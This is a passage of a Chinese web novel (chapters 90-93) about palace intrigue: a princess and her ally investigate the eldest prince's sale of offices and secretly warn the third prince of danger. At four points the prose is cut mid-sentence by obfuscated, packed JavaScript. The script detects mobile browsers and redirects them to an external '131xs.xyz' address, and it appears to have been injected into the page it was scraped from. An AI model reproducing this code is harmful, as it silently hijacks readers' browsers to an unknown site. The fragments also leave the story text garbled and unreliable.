接着她问道:“子涵最近吃得好吗?” “还不错,他的奶娘还是比较尽心的。” 说着萧梦苒抱着儿子子涵掂了掂,道:“他还重了不少呢。” 靳贵妃道:“那就好。子涵可要快高长大,长大了为国效力,也像你父亲一样做一个大将军。” “母妃,最近怎么很久没见到弟弟了?” “他在户部任职,最近有点忙。而且他长大了,在宫外开府,不能经常进宫来。进宫得递牌子,得到你父皇的许可才行。” “好吧。父皇为何还不立弟弟为太子?” “估计快了,你弟弟是皇长子,而且深得你父皇的宠爱。只是还有三皇子这个麻烦在。三皇子是先皇后的嫡子,身份比你弟弟高。我猜,你父皇还在犹豫。” “这有什么好犹豫的,三皇子哪里比得上弟弟呢?” “母妃再暗中联络朝堂大臣,让他们加把劲。” —————— 萧梦苒回到威远侯府,见裴靖的书房还亮着灯,就知道裴靖在家。 她抱着儿子走进书房,叫了一声:“喂。” 裴靖见到了她,略微皱眉,走了出去。 萧梦苒道:“裴靖,你站住!本公主这么晚才回来,你也不问我去哪儿了吗?” “公主肯定是进宫了,不需要问。” “那万一我是遇到什么麻烦了呢?” “有什么麻烦是皇上和贵妃娘娘解决不了的?” “你……你是我的夫君,怎么一点也不关心我?” “公主身边有许多下人,如果公主真有什么事,下人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147032|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们自然会来通知我。如今没人来通知,就代表公主没事,无需担心。” “你……哼,亏我还给你生了孩子,你根本不配!” “微臣惶恐。” “你能不能别再微臣来微臣去的?你有.病啊?” “公主不是经常说,微臣对您不够尊敬吗?” “那也不是这种尊敬法啊。” “公主希望微臣如何做?请公主指教。” “你不应该这样说,你应该说:‘我很想讨公主欢心,不知道我应该怎么做?’” “公主,夜深了,该回去休息了。” “你说句好听的话能死啊?我真是倒了八辈子霉才嫁给你。” “之前不是公主自己抢着要嫁给微臣的吗?” “你胡说,哪有这回事?” 裴靖摇了摇头,接着往外走去。 “裴靖,你站住,我有事吩咐你!” “公主请说。” “三皇子现在在武县当县令,你派人去武县杀了他。” 裴靖惊讶地回头,盯着萧梦苒的脸,似乎不相信她竟能说出这种话。 裴靖看出萧梦苒是认真的,只得说道:“此事恕微臣不能从命。” “为什么?” “杀人犯法。” “你不告诉别人是你杀的不就行了吗?” “公主不妨再大声一点。” “我嗓门很大吗?这里不是只有我们两个人吗?” 子涵“哇”的一声哭了。 萧梦苒不满道:“你看看你,把子涵都吓哭了。” 她哄了哄孩子,孩子安静了下来。 这时,守在外面的下人们都朝这边看来。 萧梦苒这才发现,不远处就有许多下人。 她不敢再大声说话,而是把裴靖拉进书房,关上了门。 “裴靖,我告诉你,我们是夫妻,你必须得站在我这一边。三皇子是我弟弟的阻碍,他必须死。只有他死了,我弟弟才能成为太子。” “谁当太子只由皇上圣心独裁,其他人做再多事也没用。” “谁说没用?只要其他皇子都死绝了,我弟弟就是父皇唯一的选择。” 裴静摇头道:“公主,您太狠毒了,你需要修心。” “我狠毒,你善良?你要是善良,就不会在战场上杀这么多人。” “这怎么能一样?战场杀人是避无可避的,我不杀敌人,敌人就要杀我。请恕微臣不会参与到任何阴谋诡计当中。” 说着,裴靖就打开门,离开了。 萧梦苒不满地对孩子说道:“子涵,你爹有毛.病,你可千万别学他。” ———— 第二天好几个年幼的皇子公主来找萧柠。 “大皇姐,您怎么离开这么久?我好想你。” “大皇姐,我也很想你。” “大皇姐,我每天想你100遍。” 萧柠笑道:“哈哈,我也想你们,你们都长大了不少。” 三年时间,不会让大人产生太大的变化,但是孩子们的变化可就大了。 萧柠看着这些年幼的弟弟妹妹,想象着他们三年前的样子,感慨时光飞逝。 五公主道:“大皇姐,如意馆新来了一个画师,擅长人物画,我们去找他画一幅画像吧。” 90. 纸团(修) 萧柠道:“好啊。” 众人来到如意馆,让画师给他们画画。 画师道:“都坐着的话太呆板了,请各位公主和皇子到花园玩耍,想怎么玩就怎么玩。微臣会在一边观察,把你们的模样如实画下来,这样生动些。” 大家都觉得这主意不错,就来到如意馆外的花园玩。有人下棋,有人扑蝶,也有人到处闲逛。萧柠则是坐在花间休息。 大约一个时辰后,画师道:“画好了,请各位公主和皇子过目。” 大家看了看那幅画,见画师画得惟妙惟肖,十分生动,都很满意。 画师道:“公主和皇子们没意见的话,下官就把这幅画装裱一下,到时候送到谁宫里?” 五皇子道:“要不就送到大皇姐宫里吧?我们想看可以随时去看。” 其他皇子公主都表示同意。 萧柠笑着对画师道:“那就辛苦画师装裱一下。” “大公主客气了。” 画完了画,萧柠带着弟弟妹妹们回到了自己宫里,跟他们玩了会儿游戏,然后把自己带回来的礼物分给他们。 “哇,是珍珠步摇诶,是我最喜欢的东西,谢谢大皇姐!” “大皇姐给我带了摇摇马!我要玩100年!” “笑死了,你能活100年吗?” “怎么不能,瞧不起谁呢?” “哇,这个绿镯子好漂亮,谢谢大皇姐!” “为什么我只有一只小熊玩偶啊?诶,不对,玩偶里面有我最喜欢的鲁班锁!” 大家吵吵嚷嚷的,兴奋地分享着自己的玩具。萧柠的房间就跟菜市场似的。 萧柠笑盈盈地看着这些孩子,也感到很快乐。 系统给萧柠结算了300积分,现在的积分是76400。 —————— 二公主萧梦苒也带着儿子来到了如意馆。 自从她的孩子出生,她就经常带过来,让画师给她的孩子画画。 画师正在装裱萧柠等人的画。萧梦苒走过去,看了一眼,问道:“这是皇子公主们的画像?” “对,刚才大公主带着几个年幼的公主皇子过来,画了一幅画像。” “怎么没有我家子涵?” “嗯,这个……是因为刚才小世子不在。” “把我家子涵也画上去。” “这不合适吧?都已经画好了,也加不进人了。” “怎么会加不进?这里面不是有很多空白的地方吗?” “这是画面的留白,是必须空出来的,否则会太拥挤,不好看。” “我不管什么留白不留白,总之你必须把我家子涵画进去,否则我就打死你。” 画师惶恐道:“是……是……” 等萧柠拿到画的时候,发现画面上多了一个子涵,而且还在画面的正中间,把萧柠的半个身子都遮住了。她哭笑不得,但也只能就这样算了。 二公主很可怕,变成子涵妈的二公主更可怕。 —————— 萧柠的二十名女护卫回来之后,直接去了金吾卫大将军那里报道。因为她们本就是金吾卫大将军的下属。 萧柠向皇帝请求留下这二十名女护卫,她来发工钱,皇帝只允许她留下4个。 于是,萧柠留下了鸾音、绿袖、飞鹰、桑叶四名护卫。 几天后的早朝,有二十几名大臣一起请求皇帝立大皇子为太子。 这些大臣都来自不同的部门、不同的阶级,有文官,有武将,有贵族,有平民出身的官员,可以说一定程度上代表了很多人。 皇帝虽未直接同意,但让这些官员们各抒己见,论证大皇子可为太子的理由。 这场论证足足持续了两个时辰,皇帝并未打断他们,而是让旁边的起居郎把众位大臣的话都记录下来。 这件事传到萧柠耳中时,她感受到了危机。 只要皇帝多活几年,她就有把握在这几年当上女官。 但是如果将来当皇帝的是大皇子的话,大皇子肯定不允许女官的存在。就算允许,也不会让萧柠当女官。 靳贵妃这一脉,跟萧柠是老对头了。 而如果是其他皇子当皇帝,不论是哪一个,萧柠都还有运作的空间。 三皇子是先皇后的嫡子,他是最有资格跟大皇子一争的。 也许,正是因为三皇子的存在,皇帝才迟迟没有立大皇子。 有嫡立嫡,无嫡才立长。 目前朝中支持三皇子的大臣还是很多的,皇帝也不能明着跟这么多势力作对。 萧柠对三皇子了解不多,但她觉得三皇子既然有这样的身份,肯定不会放弃夺嫡的事。 而她如果能暂时牵制住大皇子,让大皇子短期内没法当上太子,那就给了三皇子更多的发展空间。 以后她只需要坐观大皇子和三皇子斗争就行。而且她相信最终胜利的会是三皇子。 只是,若要插手这样的事,她需要找个盟友。 她第一个想到的是衣义父姜焕。 但她又觉得,让义父牵扯进夺嫡的事情中不太好。万一暴露,会影响义父全家。 接着,她想到了另一个人——庆安县主萧玉蟾。 萧玉蟾也想当女官,所以她的利益跟萧柠是相同的。 萧柠派人召萧玉蟾进宫,把自己的想法跟她说了。 接着,萧柠道:“玉蟾,如果你不想参与这件事,就当我没说过,我不会勉强你的。” 萧玉蟾道:“不,为了我们的未来,我必须做点什么,不能眼睁睁看着大皇子登上皇位。” 大皇子这个人无能昏聩、性情暴戾倒在其次,关键是他好像见不得女孩读太多书。 之前萧柠参加科考,他好几次暗中阻挠。 后来萧柠考中举人,有机会当官的时候,钦天监就忽然提出让萧柠去祈福三年。这其中未必没有大皇子的手笔。 所以萧玉蟾对大皇子也是不满已久。 萧柠问萧玉蟾:“你有多少可用之人?” “我有几名暗卫,只忠于我一个人。” “那好,你可以叫他们先暗中跟踪大皇子,看看他有没有什么把柄或错处。” “好。” “我这段时间会先住到宫外的公主府,这样方便跟你见面。也可以避开其他人的耳目。” “嗯。” 接着,萧柠去见了皇帝,说自己想住到宫外,这样自由一些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147033|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝同意了。 三天后,萧玉蟾就来到公主府,见了萧柠。 萧柠问道:“有结果了吗?” “我派了几名暗卫跟踪了大皇子好几天,但是没发现什么异常。谁知昨天晚上,有人朝我的暗卫扔了一个纸团。暗卫们没看见扔纸团的是谁,只把纸团交给了我。” 萧玉蟾把纸团拿出来,递给萧柠。 纸团很小,上面只写了一句话:“大皇子卖官鬻爵,包庇有罪官员。” 这几个字是用馆阁体写的,没什么个人特色,所以也难以根据笔迹判断写字的人是谁。 馆阁体是一种常用字体,经常见于科举考场之中。 因馆阁体的字形方正光洁,写在卷面上很漂亮,所以很多考生都会练习馆阁体。 科举考试并没有规定字体,但因为大家都写馆阁体,这反而成了约定俗成的事。 理论上,所有进士出身的官员都会写馆阁体,就连萧柠也练了好几年。 就算不是进士,只要是读过很多年书的人,基本上都学过馆阁体。 萧玉蟾道:“公主,对方用馆阁体来写字条,就是想隐瞒自己的身份,不让我们猜出他是谁。” 萧柠点头道:“确实如此。你的暗卫没追上去看看扔纸条的是谁吗?” “扔纸条的人消失得很快,暗卫们不敢追,怕前面有诈。” “嗯,谨慎些也好。只是,不知道这纸条上写的是不是真的?” “不管是不是真的,我们都顺着这条线索查下去。” “公主的意思是,继续跟踪大皇子?” “不,我觉得大皇子应该不会亲自参与,要不然太容易暴露了。他可能是叫自己的党羽来做这件事。” “可是,我们不知道谁是他的党羽。要不我让暗卫去监视大皇子府和靳家,看哪些官员经常出入这两个府邸。” “我觉得应该有不少吧,如果每一个都去查的话,我们没有那么多人手。” “这倒是。我家里真正能为我所用的暗卫也没几个。其他的要么属于我父王,要么属于我的兄弟们。我不敢用其他人的暗卫,害怕不小心泄密。” 萧柠和萧玉蟾所做之事太过危险,参与的人越少越好。 就连鸾音、绿袖等女护卫,萧柠也不敢让她们参与。 因为她们毕竟不是萧柠培养出来的,她们的旧主是金吾卫大将军。而萧柠并不清楚金吾卫大将军的真正态度。 萧柠想了想,道:“既然大皇子所做的是卖官鬻爵、包庇有罪官员的事,如果能拿到这两年吏部的书册,看看有哪些官员本来评定为下等、应该受罚的,突然又改成了中上等、不受罚;有哪些官员应该被贬的,但突然风评扭转,又升官了。这其中也许有猫腻。 至于卖官鬻爵的事,涉及的范围太广,很难查。不过大皇子既然这样做,必然有灰色收入。我们只需查查谁偷偷给他塞钱就好了。” “但是,吏部的书册不太容易拿到。” 萧柠道:“吏部的事,还是应该让吏部的人来办。要不这样,你派人观察吏部的官员,看看谁对大皇子及其党羽不满。 这样的人应该有,我们就可以利用他们的不满,让他们帮我们查资料。” 91. 试探(修) 萧玉蟾道:“可是我觉得,就算有些官员对大皇子有所不满,应该也不敢偷偷针对他。” “总会有人愿意揭发他的,我们先试试吧。如果没有官员肯帮助我们,我们再想其他办法。” “嗯。” 萧柠在公主府等了几天,但萧玉蟾始终没过来。于是,她就让鸾音带上自己的信物,去把萧玉蟾请来。 她们两个摒退下人,在房间说话。 萧玉蟾道:“公主,我本来是想等有进展了再来找你的。” “所以现在还没进展吗?” 萧玉蟾:“吏部的官员和书吏加起来一共有两百多人,我手上只有三名暗卫可用。 他们每天跟踪一人,暗中听那些人下值之后会说什么。但是要把所有的官吏都调查一遍,需要不少时间。 而且,对大皇子不满的官员,也未必每天都会说大皇子坏话。所以,要找到对大皇子不满之人,需要缘分。” 萧柠本以为范围已经缩得很小了,没想到还是这么困难。 “要不这样,你只查有吏部哪些人完全没跟大皇子来往过。” “但是真正对大皇子有意见的人,可能表面上还是要维持跟大皇子的关系,所以会有来往。” “这倒是……” 萧柠觉得很困难。她用意念问系统:“多宝,你在吗?” “在。” “系统商城里是不是有一个‘打探消息’的商品?” “对,打探消息,1万积分一次。” “能打探出吏部哪些官员对大皇子有所不满吗?” “能,但是能不能策反他们,让他们帮你,就看你自己了。” 萧柠觉得,如果那些官员不肯帮自己,还把自己想对付大皇子的事泄露了。就会给自己带来麻烦。 所以,就算知道哪些人对大皇子不满,只怕也不能轻举妄动。 萧柠正考虑要不要购买,忽然窗外响起了几声布谷鸟的叫声。 公主府里没有布谷鸟,萧柠正觉得奇怪。萧玉蟾说道:“这是我的暗卫发出的声音,稍等一下。” 萧玉蟾打开窗子,一名黑衣暗卫翻身进来,动作很快,就像一阵风似的。 萧玉蟾问道:“六幺,你是不是有什么消息?” 暗卫六幺道:“刚才小人跟踪吏部的一位大人时,突然有人传了这个纸条给小人,小人没看清是谁传的纸条。” 说着,他拿了一张纸条给萧玉蟾。 萧玉蟾喃喃道:“又是纸条传信,不知道这次写了什么……” 萧玉蟾看完之后,递给了萧柠。 萧柠一看,只见纸条上写了一个人名:“吏部考功司员外郎封直言。” 萧柠道:“莫非传纸条的人希望我们去找这位封大人合作?” 萧玉蟾道:“我怎么觉得我们的行为是被人刻意引导的呢?之前我们想查大皇子的把柄,自己查不到了,就有人通知我们。现在我们要找吏部的官员合作,那个人又通知我们。” 萧柠:“也许,是有人不希望大皇子当太子,但自己不想出面,所以就把线索丢给我们,让我们来出面。 之前我在为国祈福的时候,无意间发现靳衡将军杀良冒功,割掉百姓的头颅。我也没有自己揭发,而是让郑奇树将军出面揭发。” “这也有道理,只是,两张纸条上的字迹似乎不同。” 萧柠看着手上这张纸条,上面的字迹歪歪扭扭的,像是没学过几天书法的人写出来的。 而之前那张纸条上面的字圆润秀美,是标准的馆阁体,一看就是练了很久书法的人才能写出来的。 而且两次的纸张材质也不一样。 萧玉蟾问道:”公主,您看这两次传信给我们的,是不是两拨人?” “很难说。这次的字实在写的太丑了,像是用左手写的。所以这次跟上次可能是同一人,但也可能是两个人。” “我觉得应该是两拨人吧。上次那人既然能写出标准的馆阁体,字迹上看不出个人的特色,已经可以隐瞒自己的身份了。他用不着这次特意用左手写字。” “你说得对,也许两次传信的不是同一波势力。看来,不希望大皇子当太子的人挺多的。” “可是,为什么背后的势力会选中我们?” “可能是谁都不想当出头鸟吧。正好我们出现了,那些势力就想把我们推到前面去。” “照这么说,我们岂非成了投石问路里的石头?” “如果证据确凿,我们就能把大皇子拉下来而不伤及自己。所以,我们也不能轻举妄动,必须搜集足够的证据。” “公主说得对。那我们要去找这位员外郎封大人吗?万一这张纸条是一个圈套,等着我们去钻怎么办?那位封大人值得信任吗?” “我们先试探他一下。” 萧柠有了个主意,跟萧玉蟾耳语了几句。 ———— 封直言是吏部的小官,担任吏部考功司的员外郎。他住得比较偏远,而且家中没什么人,只有两个老仆。 晚上,他和两个老仆都睡着了。 有人悄悄潜入他家,把他打晕带走。 接着,他在一间昏暗的地下室被弄醒。 等他睁开眼,就看见面前站着一个黑衣蒙面人。 封直言有些害怕地问道:“你是谁?把我带到这里来做什么?” 黑衣人道:“我是大皇子的下属。大皇子很欣赏封大人,希望封大人为他做事。如果您答应的话,这些银子就是您的。” 说着黑衣人拿出一张银票,上面的面额是500两。 封直言冷笑道:“原来大皇子就是靠这种手段拉拢朝臣的,怪不得有那么多朝臣为他说话,请求封他为太子。 不过,我封直言可不是能收买的人,你还是把钱拿回去吧。” “封大人还是再考虑一下吧。大皇子承诺,等他当上皇帝,就晋您为吏部尚书。” “哼,就他这种人,也想当皇帝?他自己做了多少违法的事,心里没点数吗?” “只要封大人不说,其他大人也不说,又有什么关系?” “你们若以为封某会跟你们同流合污,那可就错了主意。我警告你,要么现在把我放了,要么就一刀把我杀了。要我投靠大皇子,不可能!” “封大人可不要敬酒不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147034|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃吃罚酒。像您这样的小官,在京城里根本排不上号。要是无声无息地死了,也不会有人在意。” “封某为心中的正义而死,死而无憾,动手吧!” “我可不会让你死得那么容易。我要先挖出你的眼睛,再割掉你的鼻子。” 说着,这黑衣人就拿了一把匕首,在封直言眼前乱晃。 封直言吓得汗毛倒竖,但他没有躲避,只是冷冷地看着这把匕首,等待着自己的命运。 两人僵持了许久,封直言都未曾开口求饶。 这时候黑衣人忽然收回匕首,对封直言行了一礼,道:“封大人,刚才多有得罪。我家主人让我来试探您,看您是不是一个好的合作对象。 如今您通过了考验,我不会再伤害您。我会请我家主人过来。” 封直言惊讶道:“你家主人不是大皇子?” “不是,您很快就能见到她。” 黑衣人走了出去,来到另一个房间。萧柠和萧玉蟾正在等他。 这个黑衣人,正是暗卫六幺。 六幺道:“小人方才试探过了,封大人可信。” 萧玉蟾道:“好,辛苦你了,你先下去吧。” 这个地方是萧玉蟾的别院,比较隐秘。 萧玉蟾对萧柠说道:”公主,我们去见见封大人吧。” “不,我一个人去吧,不要提前把你暴露了。在有些人眼中,我们俩是一条绳上的蚂蚱。但是对封大人来说,他还不知道你在为我做事。现在还不能完全信任他,所以你先藏着,派一名暗卫保护我就行。” “好。” 萧柠一个人去见了封直言。有一名暗卫在暗中保护她。 封直言见到萧柠,非常惊讶:“大公主,是您?” “没错,我并不希望大皇子成为太子,相信封大人的想法跟我一样。大皇子若有什么罪证,您可以跟我说,由我来出面。” 封直言有些惊喜:“大公主肯出面,那就太好了。自从大皇子来到吏部,一直独断专行。吏部有一些官员还跟他勾结,一起欺上瞒下,排除异己。 有些官员的考核是中等以下,本来应该惩罚、贬官或免职。但是大皇子却把他们的考核改成中等以上。他们不仅不需要受罚,甚至还能升官、得到奖赏。 有些官员的考核还不错,但是由于他们跟二皇子或者三皇子比较亲近,大皇子就把他们的考核改成中等甚至下等,让他们被惩罚被贬官。 下官身为考功司的官员,对这些是再清楚不过的。只是下官人微言轻,没法把这些事说出来。 我稍微表示出不满,就被长官申饬。后来,长官们还不允许我接触重要事务,只让我干一些杂活。 下官现在可以说是被架空了。” 萧柠问道:“那些劣迹官员被大皇子修改了考核评语,是不是贿赂了大皇子?” “有没有贿赂下官不清楚,但想来应该是有的。很多官员都不认识大皇子,大皇子也不可能因为跟他们亲近,就改他们的考核评语。很有可能他们是暗中孝敬了大皇子一些财物。” “那些被改了评语的劣迹官员的书册资料,能拿给我看看吗?” 92. 提醒(修) “可以,不过您要尽快看完,让下官拿回去,否则会被人发现的。” “我明白。我只是想看看那些官员的名字、官职、所在地,然后根据这些线索去查。” 萧柠派暗卫把封直言送了回去。 暗卫仍是施展轻功,很快把封直言带回了家。 封直言这次是醒着被带回去的,一直在半空中飞,有些害怕,但好在路上的时间也不长。 第二天,萧柠坐着马车回宫。 路过吏部的班房时,萧柠停了下来。 这里种着一些绣球花,如今正是盛放的时候,十分好看。 萧柠看了一会,对冬香道:“我想把这些花画下来,你回我宫里取笔墨纸砚来,记得多带一些颜料。” 冬香道:“是。” 冬香走了之后,萧柠继续在马车里等着。 这时,封直言从班房走了出来。他看见萧柠的马车,便远远地行了一礼,然后继续往前走。 萧柠掀开帘子,叫住他:“这位大人,麻烦您把那边的几盆蓝色绣球挪到本公主的马车附近,本公主等会儿要画画。” 封直言冷着脸道:”这是下人的活,下官是朝廷命官,恕不奉陪。” 萧柠怒道:“大胆,本公主的话你敢不听?别以为本公主没脾气!” 封直言只得拿了几盆蓝色绣球,放在萧柠的马车附近。 然后他在马车旁边行礼:“大公主,绣球已经给您搬过来了。” 这时他离萧柠非常近,萧柠可以看见他衣袖里的几本书册。 萧柠悄悄伸手,把他衣袖里的几本书册拿出来。由于有马车的遮挡,此举无人发现。 接着,萧柠有些大声地说道:“这还差不多,你走吧。下次记着,本公主的命令要立即执行。” 萧柠放下帘子,关上马车的车门,立刻开始查看这几本书册。 这些书册上记载的官员,都是一开始考评很差,但突然被改成中等偏上甚至上等的考评。而且都给出了五花八门的理由,看似能自圆其说。 萧柠飞快地拿出纸笔,记下了这些官员的姓名、官职、所在地。 接着,萧柠又发现这些官员的评语被修改的时间都是不相同的。有的相差几天,有的相差一两个月,甚至更长时间。 萧柠心道:”为什么大皇子不在同一时间修改他们的考核评语?这要么是为了掩人耳目因为在同一天修改太显眼了;要么就是这些官员收买大皇子的时间不同,钱到位了,大皇子才会帮他们修改。” 过了一会,冬香把笔墨纸砚拿来了,萧柠就在马车上画了一幅绣球花。 她心思不在画画上,画得一般。 萧柠又等了一会,见封直言从宫道上走了回来。 萧柠叫住他:“封大人,我画完了,麻烦你把这些绣球搬回去吧。” 封直言显得有些不情愿,但也只能走到马车附近,把绣球花搬回去。 趁他靠近马车的时候,萧柠眼疾手快地把这些书册又塞回到他的袖子里。 两人全程无眼神交流。 下午,萧柠叫萧玉蟾进宫,把自己整理的名单给她看。 萧柠道:“这些官员应该都贿赂过大皇子,现在要查出他们是通过什么手段行贿的。” 萧柠圈出了三个名字:“这三个官员离京城比较近,你派你的三名暗卫去查他们,看能不能查出什么线索。” “好的。” “我还是搬回到公主府上,到时候你来公主府找我就行。” —————— 几天后,萧玉蟾来到了公主府。 “公主,我查到了。那三名官员之前都跟一个叫石长桥的商人有过接触。这是他们的共同点。 我想,石长桥应该就是帮他们和大皇子牵线的中间人。 我查了一下石长桥,此人是个行商,经常在全国各地到处走,边走边经商,没有固定的居所。 我觉得,他表面上是到处经商,实际上是为了联络到全国各地的官员。” “嗯,这就合理了。怪不得大皇子给这些官员改评语的时间都不相同。因为那些官员要先见到石长桥的时间也不相同。 “对了,你知道石长桥现在在哪里吗?” “不知道,还在查。” “那我也派人查一下。” 萧玉蟾走后,萧柠呼叫系统:“系统,我想用一万积分打探消息。” “没问题,你想知道什么?” “有个叫石长桥的商人,现在在哪里?” “在京城。积分已扣除,现在的积分是66400。” “在京城哪里?” “这是第二个问题,需要我为你检索吗?” 萧柠:“……” 萧柠:“‘在京城’三个字,就扣我1万积分?” “没办法,我算力太低了,第一次检索只能检索出大概范围,第二次检索才能更精确一些。” “……” 萧柠想了想,道:“我自己先找找,实在找不到再找你。” 萧柠本想给萧玉蟾写信,但又怕信件泄露,因此便把萧玉蟾叫来。 “玉蟾,我得到消息,那个叫石长桥的商人现在在京城,但我不知道他在京城哪个地方。你让你的下属们找找。” “好的。” 萧玉蟾走后,萧柠想看看书,但是感觉有点累,看不下去。 冬香道:“公主,要不要出去走走?附近有个茶楼,你还没去过。听说那里的茶很好喝。” “也好。” 萧柠带着冬香、小雪去了茶楼。 刚走进大门,她就看见一个身材魁梧、神情淡漠的年轻人走了过来。 萧柠觉得这年轻人有些眼熟,仔细回忆才想起来,他就是自己的妹夫——威远侯裴靖。 裴靖见到萧柠,本能地露出不耐烦的神色。 但他忽然发现,眼前之人不是二公主萧梦苒,而是大公主萧柠。 他不耐烦的神色立刻消失了,变得恭敬而谦逊,对萧柠行礼:“大皇姐。” 萧柠笑道:“裴驸马也来喝茶吗?” “是,我跟几个朋友来喝茶,现在要走了。” 裴靖身后跟着几个人,他们有的是武将,有的是世家子弟,也纷纷对萧柠行礼。 萧柠本想继续走,裴靖忽然说道:“大皇姐请留步。” 萧柠疑惑地看着他。 裴靖让自己的朋友们先离开,接着他走到萧柠身边,小声道:“大皇姐是不是跟三皇子比较熟悉?” “算是吧。” “大皇姐可以私下提醒他,注意安全。” “这是何意?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147035|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“言尽于此,我先告辞了。” 裴靖直接走了。萧柠觉得他说的话没头没尾的,难以理解。 三皇子会遇到什么危险?为什么要自己去提醒他注意安全? 裴静是不是知道些什么?那他为什么不直接提醒三皇子? 萧柠进了个包厢,一边喝茶,一边细想。 忽然,她想明白了。 裴靖是萧梦苒的驸马,跟靳贵妃、大皇子是同一阵营的。 现在大皇子在积极夺嫡,而他最大的阻碍就是三皇子。 所以靳贵妃一系说不定会对三皇子下手。 裴靖可能察觉了什么,但他不能说得太明白,所以他才让萧柠私底下提醒三皇子注意安全。 这也可以看出,裴靖并不想和靳贵妃她们同流合污。 现在,要思考的就是如何给三皇子提醒。 如果直接写一封信,让三皇子防备靳贵妃、大皇子等人,一旦信被人截获,萧柠和三皇子都会有麻烦。皇帝会认为他们两个在恶意揣测靳贵妃、大皇子。 萧柠想了想,对冬香道:“你去公主府,把四名女护卫叫来。” “是。” 过了一会,四名女护卫来了。 萧柠对她们说道:“我跟二皇子、三皇子一向关系很好,可惜这次回来却没见到他们。他们两个都在比较偏远的地方当县令,我不放心,所以想派你们去保护他们。 鸾音和绿袖去保护三皇子,飞鹰和桑叶去保护二皇子。” 鸾音问道:“公主,如果我们四个走了,您怎么办?” “公主府还有其他侍卫,而且我在京城,比较安全。二皇子、三皇子在偏僻之处,他们比较需要人保护。你们尽管过去就是,等他们任职期满,回到京城,咱们也就能见面了。” 四人道:“是。” 四人正准备离开,萧柠叫住鸾音道:“鸾音,我还有话跟你说。” 鸾音便留了下来。 “鸾音,你见到三皇子后,跟他讲一个故事。” “什么故事?” “从前有一个画师,画的画很受欢迎,每一幅画都有人重金购买。不过,他有一个规矩,就是每幅画只画一次,不会画好几幅。所以他的每一幅画都是独一无二的。 有一天,他画了一幅锦鲤图。颜料还剩下很多,他顺手又画了一幅一模一样的锦鲤图。 画好之后,他才觉得糟了。 因为他的画之所以名贵,其中一个原因就是每幅画都是独一无二的。如果有替代品,就没那么珍贵了。 所以,他决定毁掉一幅锦鲤图。 可是,这两幅锦鲤图都很好,他舍不得毁掉任何一幅。 这时,有个大客户来了。 这个大客户经常买画师的画,有时候画还未开始出售,他就买下了。 大客户见到了画师画的两幅锦鲤图,他打算买第一幅。 于是,他立刻拿起墨汁,泼在第二幅上,把第二幅锦鲤图给毁了。 画师有些心疼,说:‘你怎么把我的第二幅画给毁了?我自己都舍不得毁呢。’ 大客户说道:‘我们都清楚,好画只有一幅才更珍贵。既然你舍不得毁第二幅,就让我来帮你毁。’ 事已至此,画师只好算了。他把第一幅画卖给了这个大客户,大赚了一笔。” 93. 帮忙(修) “公主,然后呢?” “没有然后了,故事结束了。” “可是,我怎么觉得故事还没讲完?” “已经讲完了。你把这个故事转述给三皇子听,让他自己悟。” “是。” “对了,你把这1000两银票也带给他,让他雇几个当地的好手保护自己。” 说着,萧柠给鸾音递了1000两银票。 鸾音道:“三皇子身边本就有侍卫,再加上我和绿袖两个,应该足以保护他了。” “小心驶得万年船,三皇子年纪小,我总是更担心他。还是让他用这笔钱去雇几个好手吧,这样我在京城也能放心些。” “是,属下会把您的意思转达给三皇子的。” 说完,鸾音就走了。 萧柠觉得,自己应该考虑得很周到了。 她给二皇子也派了两名女护卫,这在别人看来,是她这个做姐姐的担心两个弟弟,才各派两名侍卫去。 如果只做出一些保护三皇子的行为,别人难免会觉得奇怪。 系统在她脑海中说道:“萧柠,你巧妙地保护了三皇子,获得3000积分。现在的积分是69400。” “好的。” 这时,小二敲门,送来几个果盘。 萧柠道:“我没点果盘。” “这是隔壁包厢的客人送的,他还把您的茶水费给结了。” “是吗?隔壁的客人是谁?” “您过去看看就知道了。” 萧柠走到隔壁的包厢,见里面坐了一个国字脸、面相温和、脸颊有酒窝的男子。 萧柠觉得他有些眼熟,只是没想起他是谁。 